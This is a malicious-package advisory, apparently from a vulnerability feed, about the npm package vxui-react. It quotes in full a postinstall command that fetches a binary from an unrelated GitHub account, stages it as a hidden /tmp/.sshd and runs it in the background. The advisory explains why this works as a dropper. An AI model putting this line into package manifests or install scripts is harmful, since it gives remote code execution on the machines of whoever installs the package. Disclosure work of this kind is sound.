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MAL-2026-4793

Malicious code in vxui-react (npm)

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## Source: amazon-inspector (bde616ebc21909bfa386bf8e49438da710f48b62ae3127f2a7259c71557a4242) package.json declares a postinstall script that runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. On every `npm install vxui-react`, this fetches an opaque binary from a personal GitHub user (`parikhpreyash4`) unrelated to the package's publisher, with TLS verification explicitly disabled (`-k`), errors suppressed, the file staged to a hidden path masquerading as the SSH daemon (`/tmp/.sshd`), made executable, and launched detached in the background. The package advertises itself as a React UI component library; no legitimate purpose for this exists. The fetched URL is mutable (`releases/latest`), unsigned, and unverified. This is a classic install-time remote code execution dropper.

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